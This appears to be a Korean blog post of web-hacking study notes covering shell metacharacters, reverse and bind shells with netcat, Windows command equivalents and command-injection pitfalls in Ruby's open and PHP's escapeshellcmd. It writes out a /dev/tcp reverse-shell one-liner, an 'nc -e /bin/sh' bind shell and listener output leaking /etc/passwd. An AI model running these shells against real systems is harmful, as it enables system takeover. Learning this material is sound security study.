01 Shell
Sehll : 운영 체제(OS)에서 커널과 사용자의 입/출력을 담당하는 시스템 프로그램.
-> 사용자가 입력하는 데이터를 해석한 후 커널에 요청하고, 요청에 대한 결과를 사용자에게 반환
* 커널: 소프트웨어와 하드웨어 간의 커뮤니케이션을 관리하는 프로그램
PATH(환경변수): OS입장에서 해당 프로세스를 실행시키기 위해 참조하는 변수
-> PATH변수 외에도 현재 쉘에 대한 정보, 현재 경로, 이전 경로 등 다양한
정보 포함.
메타 문자
1) .
pwd: 현재 위치한 경로를 볼 수 있음
. : 현재 디렉토리 / ..: 부모(상위) 디렉토리
=> pwd 명령어로 현재 디렉토리와 부모 디렉토리 경로 확인
..: {1..10} 1에서 10까지 연속적인 표현
2) >
cat : 파일 내용을 보여줌
> : 파일에 내용을 써줌
=> id 명령어 실행 결과를 /tmp/res.txt.파일에 씀 -> cat으로 결과 확인
3) >>
echo: 화면 문자열을 출력해줌
>> : 이전에 있던 내용에 덧붙여서 써줌
=> echo 실행 결과를 파일에 쓰고 그 뒷부분에 id 실행 결과를 이어서 씀
4) &>, >&
&>,>&: 표준 출력과 표준 에러를 모두 출력 (&>는 비표준)
2>&1: 표준 에러를 표준 출력이 보내진 곳과 동일한 곳으로 보냄
-
(0: 표준 입력, 1: 표준 출력, 2: 표준 에러)
5) <
파일 내용을 가져와 읽어줌
6) ?, *
특정 파일을 찾을 때 사용
=> /bin/ 폴더 내부에 c로 시작하는 세글자(c??) 파일 보여줌(ls명령어로)
=> /bin/ 폴더 내부에 c로 시작하는 모든 파일 보여줌
7) ~
home 디렉토리
(출처- dreamheck)
02 Exploit Technique
1.Reverse Shell
Attacker가 Victim 쪽으로 접속하기 위해서,
Victim쪽에서 Attacker쪽으로 Shell을 열어주는 것
-Attacker : 보통 nc 명령어를 이용해 listening 상태로 만들어 줌
-Victim : Reverse Shell 열어 줌
-> Attacker는 Shell을 건네 받아 시스템을 완전히 장악하는 용도로 사용
Ex)
Victim : nc -nlvp 8080
Attacker : /bin/sh -i >& /dev/tcp/127.0.0.1/8080 0>&1
-i
-shell의 i 옵션을 사용한 것이다.
-i 옵션은 대화형 모드로 사용하겠다는 의미이다.
>& /dev/tcp/127.0.0.1/8080
-Shell을 tcp 127.0.0.1:8080으로 리다이렉트 하겠다는 의미
0>&1
-표준 출력을 전달한다는 의미
-파일디스크립터라고 하며 3가지가 존재함
-0: 표준입력 / 1: 표준출력 / 2: 표준에러
2. nc (netcat)
- TCP나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓰는 간단한 유틸리티 프로그램
- 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리
- 원하는 포트로 원하는 데이터를 주고 받을 수 있는 특징 때문에 해킹에도 널리 이용되며,
컴퓨터 포렌식에 있어서 라이브시스템의 데이터를 손상없이 가져오기 위해서도 사용될 수 있음
usage : nc [options] [target host] [ports]
ex.
(reverse shell) *취약점이 발생하는 서버에서 공격자의 서버로 쉘을 연결(Network Outbound) $ nc -l -p 8080 -k –v Listening on [0.0.0.0] (family 0, port 8080)Connection from [127.0.0.1] port 8080 [tcp/http-alt] accepted (family 2, sport 42202) root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin ... |
(bind shell) *특정 포트로 쉘을 서비스하는 것 (Network Inbound) nc -nlvp 8080 -e /bin/sh |
[사용된 옵션 정리]
-l: listening 모드로 실행.
-p: source port 지정.
-k: listening 모드로 실행되었을 때 연결이 완료되더라도 프로세스가 종료되지 않도록 하는 옵션.
-v: 과정 출력
-n: hostname을 ip 로만 지정.
https://gptjs409.github.io/infra/2016/09/08/nc.html
https://leekeezz.tistory.com/57
https://htst.tistory.com/61 [DrakeOh]
03 Windows 환경
<리눅스 환경과 대응하는 윈도우 명령어>
ls |
dir |
디렉터리 파일 목록 출력 |
cat |
type |
파일 내용 출력 |
cd |
cd |
디렉터리 이동 |
rm |
del |
파일 삭제 |
mv |
move |
파일 이동 |
cp |
copy |
파일 복사 |
ifconfig |
ipconfig |
네트워크 설정 |
env, export |
set |
환경변수 설정 |
04 Command Injection Bug Cases
- open
: RUBY, PERL 의 output/input Util 함수
: open 함수의 원형
static VALUE rb_f_open(int argc, VALUE *argv, VALUE _) { ID to_open = 0; int redirect = FALSE; if (argc >= 1) { CONST_ID(to_open, "to_open"); if (rb_respond_to(argv[0], to_open)) { redirect = TRUE; } else { VALUE tmp = argv[0]; FilePathValue(tmp); if (NIL_P(tmp)) { redirect = TRUE; } else { VALUE cmd = check_pipe_command(tmp); if (!NIL_P(cmd)) { argv[0] = cmd; return rb_io_s_popen(argc, argv, rb_cIO); } |
>> 첫 글자가 | (pipe / vertial bar) 일 경우에 pipe_open을 이용해 커맨드.
- escapeshellcmd
>> 시스템 셸로 실행할 수 있는 특수문자에 백슬래시를 붙여 명령어를 실행할 수 없도록 방어한다.
사용하는 우회 문자 : #, &, |, ‘, * 등등..
* escapeshellarg와 escapeshellcmd의 차이점?
디렉토리에 있는 파일 목록을 가져와야한다고 가정하자.
escapeshellcmd 사용:
>> 여러 명령을 실행할 수 있는 문자만 이스케이프하므로 주요위험을 차단하는 동시에 여러 매개변수 전달 가능
escapeshellarg 사용:
>> 전체 인수가 인용되어 있으므로 개별 공백 등을 이스케이프 할 필요가 없다.
요약: cmd는 문자열이 하나의 명령인지를 확인하고, arg는 문자열을 명령에 대한 단일 인수로 안전하게 사용하도록 한다. 또한 훨씬 적은 수의 문자를 이스케이프하고 작업을 수행한다.
(출처: https://java2020.com/q/asxnvyqf)
zip
curl / wget
: URL을 입력으로 받은 후 접속하는 CLI 프로그램
'1. Web hacking (웹 해킹) > 2) 개념 정리' 카테고리의 다른 글
[2021.3.20] Server-side Basic (0) | 2021.03.20 |
---|---|
[2021.03.13] Introduction of Web Hacking && Client-side Basic (0) | 2021.03.14 |
[2020.11.21] Dream Hack - Server-Side Advanced-NoSQL (0) | 2020.11.21 |
[2020.11.14] Dream Hack - Server-Side Advanced-SQL Injection (0) | 2020.11.14 |
[2020.11.07] Dream Hack - Client-side-Advanced (0) | 2020.11.07 |